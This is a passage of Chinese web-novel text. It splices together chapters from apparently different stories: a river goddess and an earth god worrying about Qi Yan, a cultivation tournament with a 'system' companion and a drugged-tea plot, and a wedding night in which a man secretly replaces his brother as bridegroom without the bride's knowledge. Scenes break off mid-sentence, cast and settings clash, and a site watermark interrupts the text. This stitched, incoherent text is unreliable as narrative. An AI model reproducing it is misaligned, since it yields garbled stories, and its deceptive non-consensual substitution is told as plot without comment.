元吉没精打采地回答道:“最近太无聊,跟小鱼儿要了八个孩子来玩儿,不是给你吃的。” 土地神啧了啧嘴:“你瞧瞧你现在的样子,就跟河水干了似的。” 元吉单手撑着下巴,眉心微皱,道:“我担心他。” 土地神清了清嗓子:“没什么好担心的,我帮你问了,那小子在京城好着呢。” “你还能出吴州啊?”元吉睁圆了眼睛看向土地神,赶忙往前凑了凑:“你怎么做到的啊?” “大地本是一体,我不过是被划分到了这儿而已,要想与隔壁临州的土地神问句话很简单,只要站在地界喊一声就行,隔壁再问隔壁,这不就问来了吗?”土地神摸了摸胡子,全然不说自己废了多大的劲儿。 临州的老土地神是个贪吃鬼,他可是把自己藏得不少好东西拿出来都送给对方了,那人才肯帮忙打听的,一路打听回来,花费也不少咯。 元吉终于有了些精神:“那你问到了什么吗?” “京中的确发生了很大的变动,祁琰暂时回不来,他带过去的人除了山匪,还有个牵扯到二十多年前皇子身世的重要人物,听京城里的土地说,他现在整日与大皇子四处奔波,布置契机,就等时机到了将三皇子党羽一网打尽,好扶大皇子上位呢。” 元吉伸手抓了抓头发:“我怎么听不懂啊。” 土地神白了她一眼:“总之是办大事儿,成败关乎国运,你且等着吧,一时半会儿回不来的。” 元吉这句话听懂了,长长地哦了一声,林中传来窸窸窣窣的声音,元吉立刻瞧过去,就见两个壮汉肩膀上扛着刀,急匆匆地走过来。 元吉立刻抱着鱼隐藏了身体,这两个人的穿着打扮一看就不普通,像是舟山上的山匪。 虽说一些小的山匪和鹿蜂寨都被祁琰给拿下了,可那舟山南侧上,与陈县令依旧有联系的夏将军,几千人的队伍可都还在,祁琰走的这些日子,她都得帮忙盯着。 那两人走过来的时候,嘴里正说着话,脸色有些难看,其中一个还懵懵懂懂的,摸不清状况。 “赵哥,你说将军让咱们找陈县令,问陈县令要证据销毁,毁的是什么证据?” 另一个男人摸了摸自己的短发,道:“还能有什么?朝中政变,三皇子最近一直被人找麻烦,京城已有风云,说三皇子并非贵妃所生,亦不是皇子,知道这事儿的人只有那几个,留着终究是个祸害。” 脚下一顿,落后的那人道:“这……这是要咱们动手吗?” “杀人又如何?依我看,这些人早就该杀了!若非是留着给咱们做掩护,又何须等到今日?” 落后的人赶忙追了上去,无奈地摇了摇头,两人脚下的步伐快了些,直往夏城的方向走。 夏城中除了陈县令知道此事,还有一个季老板,元吉的记忆中,季老板与夏将军反而是她亲眼见过买卖小孩儿的重要人物。 他们说要杀人,又要销毁证据,岂不是季老板有危险了? 土地神摇了摇头道:“善恶终有报,只不过迟了二十多年罢了。” 元吉放下了鱼碗,站起来拍了拍裙子就要跟过去,土地神连忙要拦住她:“哎!你去干什么呀?” 元吉道:“他们要去杀了季老板,季老板虽然该死,可他是重要证人,如若三皇子当真是他们买卖来的,那季老板知道一切实情,他一死,证据链中少了一条,于大皇子不利。” 土地神呵呵一笑:“你想的还真多,这与你又有何关系?” “大皇子若出事了,祁琰还脱得了关系吗?”元吉跺了跺脚,二话没说就钻进了河里,土地神没能拦得住她,眉心紧锁。 这丫头,就从来没让人省心过。 元吉猜的没错,夏将军的确是怕东窗事发,加上京中有人传信回来,说情况不利,让他赶紧动手,把过去的东西给去干净,别留下祸患,这才派了手下打两个得力干将,去陈县令那处得到季老板与知晓此事的几人,一一赶尽杀绝。 元吉跟着那两人到了县令府的时候,陈县令正在焦头烂额的应付着贾老板。 阿统欲言又止,无法反驳。 心中的气消了不少的元吉察觉到方才那几道气息越来越近,刚想起身却见那宣长生挣扎起身,一下跪在自己面前感激涕零道: 元吉额角抽动一下,像是想到了什么,她扭头望向亓官上,“等等,先把他捞出来。” 话音刚落,面前的亓官上像是受到了巨大的打击一般。 他张了张嘴角却还是没说出半句话,只是低垂下眼眸,落寞地应了句。 “好,我听元吉的。” 若是此刻将他在水中一击毙命也不是不行。 亓官上暗暗想着。 算了,先捞出来再找个机会…… 元吉瞧着他这幅模样欲言又止:?? 第 89 章 第八十九章 第八十九章 “师父!” 阮玄新抹了把脸上的河水,巴巴地望了元吉小声轻唤。 谁知这话音刚落下,他便察觉一道冷冽的目光落在自己身上,那涔涔寒意,可比这深夜的河水还要来得冰冷。 阮玄新缩下脖子,又惊又好奇地打量着面前突然出现的这名男修。他怎么觉得,这人似曾相识呢。 亓官上不动神色地自上而下打量了一眼阮新玄,见他容貌平平,身量不高,天资一般,智商瞧着也不行的样子,稍稍放下心来。 他关切地问询道:“元吉何时收了位徒儿?” 元吉默了瞬,“不曾收徒。” 元吉下了马车就跟到了祁琰的房门口,护卫甲与护卫乙守在门口,元吉打算进去,结果被他们俩拦下了。 要知道这两人之前可是看见她就自觉给开门,还从来没有过这种情况。 “夫人,夜深了早点儿休息吧,你非要进为夫的房间,为夫会把持不住的。”祁琰的声音从里面传来。 元吉一瞬脸红了起来,左右看了护卫甲与护卫乙二人的脸色,他们很尽职地将目光移开,尽量不表现出任何尴尬。 元吉对着祁琰的房门口道:“乱说话小心你烂舌头!” 这夜两人并未能见上面,元吉还以为第二日祁琰也不会出房,谁知道次日一早,那人便敲响了自己的房门,倒是比起前几天还要精神许多。 元吉穿好衣服看着靠在门边的祁琰时,对方正笑眯眯的。 “你伤好了?”她问。 祁琰眨了眨眼睛:“什么伤?” 元吉刚想说什么,突然记起来昨夜几个护卫的举动,心里想着自己本来与祁琰就没打算有过多牵扯,既然人家不想说,她就当做不知道罢了。 元吉挥了挥手,将祁琰推开,径自走下楼准备用饭。 祁琰伸手揉了揉她推的地方,跟了过去,两人正围桌吃着早饭呢,护卫甲从外面走了进来,手上还带了一大堆东西。 祁琰嘴里嚼着酱瓜,问:“什么?” 护卫甲道:“方才贾有亮差人送过来的,说是调身体用的,送给夫人。” 恐怕是听说了祁琰是个宠妻狂魔,故而才送些东西过来给她,元吉放下碗筷看了一眼,大多都是药材补品,没什么好吃的。 “对了,那孩子呢?”元吉问,她昨天晚上就没看见了,不过因为昨晚另有心思,故而没在意。 护卫甲道:“阿丁带他出去玩儿了,那是个聪明孩子,知道我们几个不是坏人,所以也愿意亲近。” 话刚说完,便见到护卫丁带着小孩儿进来,小孩儿换了身干净的衣服,头发梳得整齐,手中拿着一串糖葫芦,另一只手和护卫丁牵着,脸上笑嘻嘻的。 他看见元吉的时候跑过来一把抱住了元吉的胳膊,元吉见他可爱,抬起手还没来得及掐一掐脸蛋儿,祁琰便用一根筷子戳着小孩儿的手,皱着眉头道:“松开。” 祁琰皱眉的样子是有些不良,小孩儿立刻缩到了元吉的身后。 祁琰继续和他逗:“这人是我的,你不许碰知道吗?” 护卫甲、护卫丁:“……” 元吉白了一眼:“你有病啊?” 祁琰嘁了一声,对两个站着看戏的手下道:“快点儿把这小子的家人找到,然后赶紧送回去。” 元吉问:“今日上午有事吗?” “上午无事,下午与贾有亮还有约。”祁琰问:“你有事?” “我想去趟土地庙。”元吉顿了顿。 祁琰点头:“我陪你去。” 元吉立刻摆手:“不不不,我自己去就好。” 祁琰微微眯起双眼:“那让阿丁跟着你。” 元吉朝护卫丁瞧去,护卫丁给了她一个憨傻的笑容,元吉抿嘴想了想点头:“好。” 小孩儿这时候突然插了句嘴:“我也要去!” 祁琰瞪了他一眼:“你去什么?!不许去!” 小孩儿扁着嘴一副被吓坏了的模样,元吉立刻摸了摸他的头:“好,带你去。” “……”祁琰满脸写着不爽,就连护卫甲都看出来了,元吉愣是逗小孩儿要抢他的糖葫芦,根本看不见,这边祁琰嘀咕了一句:“不带我去带他去,至多两天,这小子一定得送走。” 元吉要去土地庙找土地神,问的还是跟祁琰有关的事,如若是别的倒是可以给祁琰听,反正他知道的也不少,可这种话,她在祁琰面前难以启齿。 这一会她没去桥底下,而是直接入了土地庙,让护卫丁在外面带孩子,在桥周围转转,元吉走到了铜像的跟前,周围没几个人。 元吉抬头看了一眼铜像,铜像顿时撇开头:“你来找我准没好事。” “土地爷……”元吉走到供桌边趴了上去,顿了顿后,道:“我被祁琰亲了。” 一个喷嚏打了出来,土地神像前面的香炉里的灰撒了出来,弄脏了元吉的脸。 元吉擦了擦脸,心里有些慌张:“有没有那么严重啊?” 这还不是第一次亲啊! “你这是要跟凡人成亲呐你!”土地神将拐杖往地上杵了杵,而后化作一道虚影走了下来,直接站在了元吉跟前,比元吉还矮一截,抬起头伸手指着她:“那祁家的小子欠收拾是不是?!” 元吉眨了眨眼:“他都知道你的事,你又不能拿他怎么样。” 土地神哼了一声:“都怪你!” 元吉点头:“是,是怪我,我万分后悔当初招惹了他,可是现在已经不是这个问题了,他……他亲了我,我当如何呀?” “你想如何?亲回去?!”土地神瞪圆了眼睛。 元吉愣了愣:“可以吗?” “自然是不可以的!” 元吉叹了口气:“我也觉得怪,你分明说过神仙是不会动情的,可是神仙会脸红心跳对吗?” 土地神朝元吉瞥了一眼,随后道:“将你的右手伸出来。” 元吉把右手伸出,土地神拿着拐杖打在了她的右手上,疼得元吉立刻缩回了手。 “一定是隔壁那个月老坏的事!我找他算账去!”土地神这就要走,元吉立刻拉住了他:“别别,你先给我说清楚,我这怎么回事啊?他每回一亲过来,我的心就像是要跳出来似的,是不是另一种病症?” “每回?!”土地神觉得自己的头有些晕。 元吉停顿了会儿,道:“就两回。” 土地神扶着额头:“这祁家的小流氓哟!” “所以,我现在怎么办?会不会死?还是说……神仙其实也会对凡人动心?”元吉问。 土地神脚下沉重了几分,再朝元吉瞧过去的时候,眼眸中含了几分深意,他道:“命里有时终须有,这恐怕躲也躲不过,只是这祁家的流氓太可恨,你又是个小蠢货,唉……” “我不是蠢货……不过他是流氓没错。” “从今日起,不许他碰你,听见没有?”土地神道:“我不是教过你一些法术?影身他就找不到你了嘛!” 元吉还想再说些什么,恰好这时几个妇人手挽手走了进来,土地神顿时化作一缕青烟,元吉转身看了一眼铜像,叹了口气。 神仙是不会对凡人动情的,与祁琰发生的那些,只是意外,只要听土地神的话,不让他碰自己,这病症也就会慢慢消散了吧? 护卫丁见元吉出来了,连忙迎了过去。 元吉回到客栈的时候,祁琰正在大堂里喝茶,见她身上都是香灰,嗤了一声:“拜神还能带一身灰回来。” 元吉淡淡地朝祁琰瞥了一眼,其实说实话,这人也就长得好看些,说话颠三倒四不正经,手脚总爱占人便宜,有钱还扣得要命,这辈子留在元吉脑海里也就七岁前尚算可爱,其余时候都是可恶多些。 要与这人相处,不和他肢体接触,应当不是难事才对。 于是祁琰就看见元吉淡淡地看了自己,又淡淡地挪开了视线,顶着一副看破红尘的脸,回楼上换衣服。 祁琰捏着杯子的手紧了紧,该不会是土地神又教坏了她吧? 他开始认真思考这庙要不要迁到城外离河远一些了。 到了下午,便有贾有亮的家丁过来请人了。 贾有亮倒是比较贴心,专门雇来了轿子,元吉换了身较为富贵的衣服后,便于与祁琰一同入了轿子里。 祁琰觉得有些尴尬,轿子的空间很小,两个人若坐在一起,势必要碰上,可偏偏,他的夫人隐去了一半的身体。 祁琰抿着嘴,摆出一副僵硬的笑容,看向元吉仅有左半边的身体,沉思了片刻,问:“夫人是不是有病?” 元吉的一只眼珠子朝他看来,半张嘴巴开口:“你才有病呢,我好得很。” 祁琰低低的笑出声,眼里的忍耐几乎就要达到上限:“那夫人知不知道,你这个样子,为夫起码半个月无法安然入眠了?” 元吉移开眼神没说话,祁琰深吸一口气,朝她那边靠近了些许。 元吉顿时睁圆了眼睛将自己剩下的半个身子都隐了去。 结果祁琰就感觉自己靠着一个完全看不到的软乎乎的东西,元吉成功隐身,祁琰的确瞧不见了,不过他还有自己的双手,摸总是能摸得到的。 元吉就盯着那只手,先是挨在了自己的肩膀上,随后往下一滑。 祁琰略微皱眉,五指稍微用了些力,软软的? 轿子猛地一晃,抬轿子的人差点儿没站稳,几人都朝自己肩上的轿子瞧去,心想里面搞什么动静呢? 贾有亮在百宴楼的门前等着,轿子落地的时候,他亲自过去迎接。 率先出来的是祁琰,只是走出来的时候拐着一条腿,弯腰将元吉扶出来时,脸上还带着些许笑意。 贾有亮拱了拱手:“元老板。” 祁琰笑道:“贾老板。” “这位就是元夫人吧?”贾有亮瞥了一眼这二人,心想姓元的倒是比想象中要年轻许多,他的这位夫人也不大,如此两个毛头小儿能成什么大气候? 元吉颔首,祁琰这才道:“入城多日,早就听闻贾老板的名号了,今日终于得见。” 贾有亮哈哈笑道:“哪里哪里,这话应当我来说才是,里面请。” 祁琰一瘸一拐地跟了进去,贾有亮瞥了一眼他的脚:“元老板这腿是怎么了?” 祁琰朝元吉看去,对方的视线已经飘到了别处,他笑了笑:“不过是方才下轿的时候撞了一下罢了。” 护卫甲、乙、丙、丁四人互相看了一眼,更是心领神会的点点头。 谁知这比赛一开始,这小小章鱼便爆发出来不可抗衡的力量。 它轻轻一扫,对手跌出擂台被吹到对面山头,它拍了拍地面,数丈高的水墙扑打下来将一群人淋成了落汤鸡…… 一连五场,场场皆胜。 众人瞧着此刻兴奋地如同稚子却能一拳放倒一个实力不群的修士的蓝色怪章鱼,又看了看毫不惊讶的元吉,心中顿时掀起惊涛骇浪。 河神的一只小小灵宠都如此厉害,她的实力该多么强。 面对这突然出现扰乱所有计划的章鱼,关肃眼神一暗,有如暴风雨来之前的宁静。 他瞥了眼众人面前大多空了的茶盏,嘴角顿时扬起抹为不可查的笑意。 多喝点,快多喝点! 第 90 章 第九十章 第九十章 “吧嗒!” 茶盏跌落在地发出清脆的响声,玉屑飞溅,却丝毫没有引起任何人的注意。此时所有人的注意力全在元吉身上。 天极宗弟子举着暗红色的托盘将玉简递给元吉,作为最终的胜利者的河神,元吉可以选择三样东西作为奖励。 目光快速略过玉简,元吉很快便确定了自己想要的彩头——【龙血琥珀】 而剩下两份名额,在阿统示意下换了一份能让自己漂浮在空中的云朵法器,而最后一样彩头,正当元吉想随机选择一物时,亓官上却陡然瞧见一个名字。 散修冷某——星月草。 他眸子微睁,目光在上头停留一瞬,旋即又快速挪开了视线。 此彩头由散修亓官天提供。只是做兄长的娶亲反而落在弟弟的后面,听说圣上有意赐婚时他数度婉拒,说“贼寇未灭,当效仿冠军侯,以四海为家。”,圣上大笑,后来便随他去了。 元吉从前只听过一点那人的传闻,进府那日远远偷看,发现双生子果然容貌相仿,只是她这位夫兄经历过官场沉浮与沙场磨砺,不言不语间也有一股迫人之感,不似夫君那般粗犷爽朗,待她赤忱,吓得人目光飘忽下移,忽而瞥见他颈侧细小红痣,格外惹眼。 祁玄朗没有这颗痣,她记得清清楚楚,小门小户的人家不讲究深闺里男女有别那一套,他从前生病高热不退,她用帕子替他擦拭过上身,光洁如一块整铜,肌理分明,内里蓄着无尽的力量,并无瑕疵,惹得她芳心可可,脸倒比病人还红上两分。 元吉一阵胡思乱想,渐渐攥紧了手中的喜果,婚前没人教导过她夫妻是怎么一回事,她从前只听那些荤素不忌的大嫂们讲过一点,还理解错了意思。 当初被还叫阿牛的祁玄朗捉住亲了一下,他们便以为有怀孕的可能,元吉怕情郎从军之后一去不回,她一个未婚女郎怀孕露丑,被绑起来点天灯。 还是进了国公府,沈夫人让陪房拿了些压箱底的东西给她看,那两个磁制的小人一拆即合,难舍难分,又有许多书册讲解,她才知道婚前那样的亲热不过是闹着玩,不会教她大了肚子。 今晚就要同祁玄朗合房……元吉想到那些手段有些羞怯口干,半掀喜帕想要水喝,可一想到夫婿这些时日的回避,那颗心稍稍冷了些,她清了喉咙,唤自己的婢女红麝过来。 “去听听前面的动静,郎君是不是快该回来行礼了,这钗重得很,我好生难受。” 备嫁的时候她身边有沈夫人的陪房秦妈妈跟着,不仅仅是指点她男女之事,还教她坐卧行走,免得成婚时出笑话。 可新妇入了洞房之后,大概国公府的人也觉得没必要再给这位寒酸的二房媳妇做什么脸面,房内只留了红麝服侍,剩下的仆人都领赏吃喜酒去了。 不过这样元吉还更自在些,起码红麝不会见她掀开一点喜帕就说不吉利,什么‘郎君不发话,这帕子一定要遮得严严实实’。 娘子遮着脸,红麝今日却看得分明,她见过二公子与自家娘子相处时的情投意合,因此拜堂时看见新郎那天差地别的冷淡姿态格外不平,可娘子却惦记着似乎早就变心的夫君,她忍不住鼻子发酸,应了一声是,快步向外去了。 二公子比从前稳重了许多,似乎也更高大,国公府养尊处优的生活在不经意间改变了那个实诚汉子,那双曾经握锄挥刀的手依旧宽厚,一只就能握住娘子那对细巧玉腕,可在红绸的映衬下,似乎比从前赏心悦目许多,连她也多看了两眼。 可随即她心内又暗啐一声,富贵滋养容貌,可也坏了人的心肠,已经瞧不上娘子,又不肯主动退婚,娶进来居然又是这样冷淡对待。 不过毕竟是新婚第一夜,就算是姑爷被国公府的富贵迷了眼,瞧不上自己从前心许的女郎,可总该给妻子些颜面的。 可她想的却半点不对,前面的宴散得很早,可二公子吃了些酒没回新房,却去了世子爷院里。 祁琰在席间被灌了不少酒,然而仍能维持清明神色,他新被圣上授予差使,检视军中各处火器,军情要务在镇国公世子这里自然要比弟弟婚宴更要紧,因此也没什么人在席间质疑他为何不来观礼。 然而除了极少数人,席间宾客无人知晓,与弟媳拜堂成亲、迎客饮酒的并非镇国公新认回的二公子祁玄朗……而是他祁琰。 宴席将散时侍从小心低语,说是二公子吃得大醉,下人们担心出事,问要不要请大夫上门。 那些人平日里看不惯他,又不敢得罪这位实权在握的世子爷,只好借机磋磨新郎官,可待他回房察看玄朗情状时,屋内空坛堆积,显然玄朗喝的酒比他不知多上几何。 从前摆设清雅的卧房已经酒气冲天,祁琰甫一入门,眉头便倏然拢起。 若在军中有人宿醉无状,无论出身贵贱,皆杖三十。 可家事远比公事难清,他与父母亏欠玄朗颇多,彼此分别多年,难免稍稍纵容,因此也不过示意随从洒扫焚香,冷声道:“太医再三叮嘱,你腿疾未愈,不可沾酒。” 半颓在椅上的祁玄朗早失去了初入行伍时的意气风发,他醉眼朦胧,慢慢抬了半张眼皮看向兄长,像是挑衅般,看向另一个自己。 一个比他好上千倍百倍的“自己”。 只有这样的“祁玄朗”,才配得上盈盈那样娇俏动人的妻子。 ……而不是一个无法生育、甚至还要拄杖行走的废人。 可只要一想到本该属于自己的小登科,竟要央求由他人代劳,尽管这是他与母亲都竭力促成的事情,可真正望见一身喜服的兄长,听着外面的吹打弹唱,他还是心头发闷,只能靠烈酒压制住那阵躁怒。 他嗤笑一声,缓缓道:“兄长何必拿太医出来说我,本就治不好的病,几坛酒能碍什么事。兄长是嫌我脏了你的屋子,还是误了你与我妻子的洞房?” 这话极不中听,饶是亲信们训练有素,洒扫时也不免停顿片刻,随即又沉默地收拾碎瓷残酒,直到见神色冷峻的世子爷摆手示意,才如释重负般鱼贯而出。 屋内只余他们兄弟二人,似揽镜自照一般对坐,只是明明大喜之日,一个双眉紧蹙,一个冷笑连连。 “二郎,此举既然非你本心,何必赞同母亲,定要我替娶新妇?” 祁琰亦微微烦躁,他本就觉得此事荒唐,若祁玄朗一时想不通,因腿伤羞于见人,他只替拜堂即可,日子总归是他们夫妻自己过的,岂有替到喜帐内的道理。 虽然二郎不能令女子有孕,传续两房香火今后皆是他一人之事,可日后他若娶妻,将次子过继到二房也是一样,不必与弟媳行此有违天理之事。 然而素来古板的母亲却斥责他此举不妥,二郎才认回来,在朝中毫无根基,日后他们夫妻大约也要靠国公府庇佑度日,哪个名门淑女会愿意将自己亲生骨肉过继给这样一对夫妻,那孩子长大成人得知真相,更不会真心孝顺二郎夫妇。 在母亲看来,同弟妇合房,于国公府、他自己、二郎夫妇都是百利而无一害的事情,更何况二郎不能生育这事,是做父母的有些对不住他,而弟弟不良于行也是为了救他,既然二郎都愿意向他借子,他更不该推辞才是。 一切皆因他而起,他不肯施以援手,便是不孝不悌之徒,若害得那氏女被退亲后郁郁而终,更是他担着的一条人命。 母亲年岁渐长,有些迂腐念头祁琰不觉意外,然而他的同胞兄弟竟也极力赞成,这才是最荒谬之处。 他忆起校场初见时那毫不露怯的男子,爽朗豪迈,言辞恳切,绝非眼前颓唐自毁的醉汉,即便不悦,也未开口斥责。 祁玄朗见兄长目露难色,心下亦是苦痛难言,他一向仰慕祁琰,因此特地奔赴这位大人帐下效力,不曾想两人竟是一奶同胞的手足,上了战场性命酒由不得自己,可他并非怕死的懦夫,即便是为兄长赴死,他也无甚怨言。 即便他杀贼而死,朝廷的抚恤和国公府的贴补也够盈盈置办嫁妆傍身,等过一两年另嫁旁人就是,兄长不会不管她。 可偏偏他没死,那便要贪心地活下去。 母亲本来不大中意这门婚事,可前些时日来探病,与他分析此举利弊,所谓圣心、国公府与兄长的前途,他与妻子日后相处,那张口张张合合,说出几千几万条道理来,他一个废人并不怎么在乎。 他只想教盈盈开心一些,享受一个妻子应该得到的一切。 而这个代替他的男子必须足够出色,最好也不要教她知道这一点。 “兄长想反悔也不必以此为借口,我只是担忧兄长没有经验,一时放心不下,有些要紧的话还需叮嘱兄长。” “亓官……”元吉指着这人递给亓官上,“此人竟和你同名,可是你的族人?” 果不其然,一看到亓官天这个名字,面前这人脸色瞬间惨白了许多,他的嘴角抿成一条直线,偏过头似是不愿意提及。“是。他与我同族。” “没想到他竟然将族中秘宝拿了出来。”亓官上咬着牙,强忍怒意,“这龙血琥珀传闻里头保存着上古唯一真龙的一滴血,灵气充沛,光是一丝便能让人踏入半神境界。” “只是这琥珀被数道阵法包裹,族中能者花费百年也没能解开。渐渐地,便没人相信里头真的有龙血了。” 亓官上垂眼盯着手中的玉简,整个手因为太过用力而关节隆出几道锋利的线条。“元吉,这一场让我上,我要把它拿回来。” 见他这般坚持,元吉自然不会反驳。她转手就在玉简中添了一道信息进去。 他默默扭头收回压迫着阮玄新的威压,这呆子,怎么突然间聪明了许多。 “这是怎么回事啊师公?” 面对着行为诡异的叔叔伯伯,又看看松风竹魄的师公,阮玄新当即屁颠屁颠跑向亓官上。 亓官上扭头看着眼神清澈的阮玄新,难得心善大发慈悲道:“躲好。” “好嘞师公!”阮玄新忙不迭点头,一副乖巧听话的模样。 这场景深深刺痛了关肃,他气得上下嘴唇翕动两下,从鼻孔中飞出一道粗气。 “你小子,为何喝了我的茶没事?” 阮玄新不解挠头,“因为师父和我说了啊。” 关肃神情一凛:“什么?!” “你不知道啊,师父早早就和我说茶水古怪,给了我一味药丸让我早早服用了啊。” 阮玄新眨眨眼,一脸茫然。 “大家都知道了。” “没人告诉你吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-95 第 91 章 第九十一章 第九十一章 早就知道了? 怎么可能!! 关肃心中大惊,他不敢置信地看了眼正和龙血所融合的元吉,心如鼓擂。焦躁的情绪像是阴雨天潮湿的空气,密密麻麻让人无法呼吸。 “冷静。”古朴如铜钟洪响的声音在脑海中骤然乍起,烦躁不安的关肃瞬间冷静下来。 无妨,即使他们知道又如何。只要他听吩咐将那龙骨夺下,整个世界都将匍匐在他的脚下。 思量至此,关肃直了直身子,“你们阻止不了我!” 话音落下,他挥了挥手,数道天极宗弟子如鬼魅般涌现,带着必死的杀意,一道道冲向元吉, 而此刻,随着龙血的涌入,身体中更多沉睡的力量被唤醒,丢失封锁的记忆在此刻冲破限制,尽数回到元吉脑海之中。 “元吉,好像不太对劲。” 阿统悄声说道,话音中带着些害怕,“我看地图上出现了好多绿点,但是怎么一个人都瞧不见。救命啊,我们……不会是遇到……鬼了吧!” 阿统只觉得背后一寒,整个统又往元吉身边凑了凑。刚才元吉在摆阵,它闲着无聊便在河神庙中溜达,不曾想刚好一本话本从夜文术怀中掉了下来。 它没忍住好奇看了眼。河神庙内众人看着面前突然出现的巨大香炉,顿时惊呼一声。 “好大一个香炉!” “夜文术你想的真周到,庙中香火近日越发旺盛,确实是需要这么大一个香炉。” 夜文术讪笑一声,不敢抬眼瞧面前的元吉,只能胡乱点头。 出乎夜文术的意料,元吉倒是并未将他糊到墙上,逃过一劫的他长舒一口气。 此时的元吉看着向易之的出现,任务进度条快速迈进了一大步,顿时心下了然。 果然如她所想的一般,这向易之同关家一案,有着密不可分的联系。 “关柔,来。”被称为小八的人当即从怀中掏出一枚碧色荷包递给众人,眼底掩盖不住的自豪,“你八爷我出手怎么可能拿不到,瞧!这是什么?” “师父让梦七去山门接万剑宗的人,他着急忙慌地赶去,我就这么轻轻一摸。”小八手中做着顺手牵羊的动作,“嘿,就被我给拿到了。” “不愧是你,好小子。” 小六笑着锤着他的肩膀,迫不及待地伸手去打开那荷包,“梦七那家伙帮师父做事,定然是得了好东西。你瞧他最近几天修为涨的,不知道的还真当他是百年难遇的奇才。” “他就骗骗你们,我和他一起长大还不知道他的资质?”小六从荷包中取出一枚金色钥匙,他怪笑一声,脸上的神色有些狰狞。 “今日举行定仙大会,定是人多混乱。我们便趁这个机会去那山洞,凭什么好处都由他一人得。” “如今也该轮到我们得这份机缘了。” 小八重重点头,眼中同样的势在必得。“那山洞口有妖兽镇守,到时候我们把迷迷丹洒在这些碎肉上喂给它,我们趁机打开门锁进去。” 几人凑在一起,快速敲定行动方案后便闪身化作一道白光往后山方向飞去。 元吉心中微动,转身问一旁的叶新。“这后山可有什么山洞需要妖兽镇守?” 叶新作为天极宗弟子,今日回天极宗便主动担了接引元吉的活,此刻真带着他们往山峰客房去。 “后山?那处山洞倒是挺多的。”叶新回想着自己多年在后山洒扫的经过,“妖兽镇守倒是没见过。这可是天极宗,寻常妖兽可不敢靠近这,这不是自寻死路么。” 谁人不知这天极宗向来做着斩妖除魔的活? 闻言,元吉扭身思忖片刻,垂在身侧的指节无意识地轻扣两下,一道细如发丝的白光便顺着指缝没入黝黑泥土中,径直追向那几人。 不知道是不是她感知错了,她怎么从那小六身上嗅到了股妖气,而那小八身上藏着股魔气。 真是怪了? 元吉揉了揉鼻尖,第一次对自己的嗅觉产生了怀疑。 忍住想打喷嚏的冲动,元吉突然想到了什么,她转身凑近一旁的亓官上,“你瞧瞧那些彩头中可有什么想要的。” 一股清幽的香味钻入元吉鼻中,那香味虽淡可颇为霸道,瞬间将那乱七八糟的气息压制下去,就像是它的主人一般,不动声色地彰显着自己的地位。 “想要,便给你赢回来。”元吉心满意足地抽身后退半步,看来自己的嗅觉并未有什么问题。 亓官上眸光一亮,他并未开口索求,只是这样看着元吉,目光缱绻,像是撷取了春日的暖风揉进身体里,“什么都好。” “唔。”元吉不置可否,只是掏出一枚玉简出来查看。 这玉简上记载着所有参加定仙大会宗门所准备的彩头,并且能随着参加宗门的增加而不断变化,倒是极为方便。 元吉上下翻看两下,指尖在一个品物名称上顿了片刻。 元吉轻轻一唤,另一边与关牧平抱头痛哭的关柔当即抹了把脸迅速跑到她面前。听了牧平的讲述,此刻的元吉在她心中已经到了一个他人无法企及的高度。 此时的她暗下决心,日后她定以河神马首是瞻。 “是河神大人,河神大人有何吩咐?” 元吉并未多说什么,只是抬手指了指已经浑身僵硬呆滞在原地的向易之。 “堂哥!”关柔惊呼一声,倒退三步,“你,诈尸了!!?” 向易之张了张嘴,欲言又止,好半晌才找回自己的声音,“不。我是真死了,不是诈尸。” 关柔满目惊恐。 而此时,在场的众人无一不是比她更为害怕。 “鬼……鬼啊!” 夜文术倏地一身躲到燕枯身后,这恐慌的模样让向易之落寞不已。 他就知晓,自己这幅模样会吓到别人。 元吉看着众人见鬼了,呃,真见鬼了的模样,不由得疑惑,“阿统,他们不是见过向易之了,怎么还如此害怕?” 阿统看着向易之离开河神府而变得半透明的下半身,绕是见多识广的系统也忍不住咽了口唾沫,它艰难开口。 “大概是因为突然知晓他不是人,有些震撼。” “元吉,你早就知道他是鬼魂了?” 元吉不以为意,她抬眼看着向易之,满是不解,“自然,这不是一眼便知。” 阿统:…… 阿统并未多说什么,阿统只是有点怀疑统生而已。 元吉见它突然自闭将头埋起来不理人,只当它是害怕,心中不由得好笑,没想到阿统居然怕鬼。 突然间,她察觉亓官上缓步踱到自己身侧,偏头瞧去,只见后者盯着向易之,眉间似有浓雾遮挡。 元吉思忖片刻,抬手间便从捻了捧忘川水化成个小人模样朝向易之掷去。 混入元吉神力的忘川水一没入向易之体内,瞬间充盈起来,将他的魂魄牢牢控制住,透明的魂魄也因有了忘川水的支撑而逐渐变得结实起来。 向易之感受着自己的身躯不再是轻飘飘,而脚下也是第一次多了踩到地面的踏实感,顿时心下思绪翻涌。 结果现在看什么地方都像是藏着可怕的鬼,太吓统了! 元吉幽幽地看了一眼捂着脸将头埋起来的阿统,一时语塞。 系统和鬼,该叫救命的应该是后者吧。 “绿点,应该是人。”元吉叹了口气,视线环顾四周落在树后,“是隐匿符。” 阿统不明就以却稍稍放下心来,它见元吉收回视线不紧不慢朝着忘川走去,心中闪过一丝狐疑,“元吉,我们不去瞧瞧吗?” “不去。”元吉言简意赅,十分无情拒绝,“麻烦。” 阿统:……哦。 巨石哗哗落下,将他身躯尽数淹没。 “啧。”元吉不耐地咋舌一声,总是会有些恼人的虫子叫人心烦。 既然寒石不乖乖听话,那换个人谈也不是不行。 元吉下颌微抬,视线缓缓从门外几人身上掠过。 咦,这人? 元吉心中狐疑,“阿统,这人身上怎么会有妖族气息,这天极宗也收妖为徒了?” 阿统闻言立马瞪大了眼,扒在元吉肩头直直盯着那人。 “不应该啊,这天极宗向来与妖族不和,怎么可能收妖为徒。等等,这气味……”阿统察觉一些不对劲来,“这些人身上居然都残留着妖兽气息,可他们明明是人啊。” 话音一落,元吉同阿统对视一眼,都察觉到了里头的不对劲。 若全是人,那可就有意思了。 一时间,元吉望着不远处的刚形成的小山包,陷入沉思。现在把人挖出来问一问不知道来不来得及。 “祁琰?”亓官上抱臂立在一侧,好整以暇地看着元吉,“是元吉的情郎吗?” 轻飘飘的一句话却如平地惊雷,众人不由自主屏住了呼吸朝元吉看去。 眼见两人的身形逐渐远去,藏于树后的几道身形默默松了口气将手中的法器放下。 “哑巴,刚才为什么不动手?”十一紧紧盯着元吉离去的背影,十分不解,“要是这小丫头坏了我们的好事怎么办,不如直接……” 十一眼中闪过一丝凶光,比了个杀人灭口的手势。 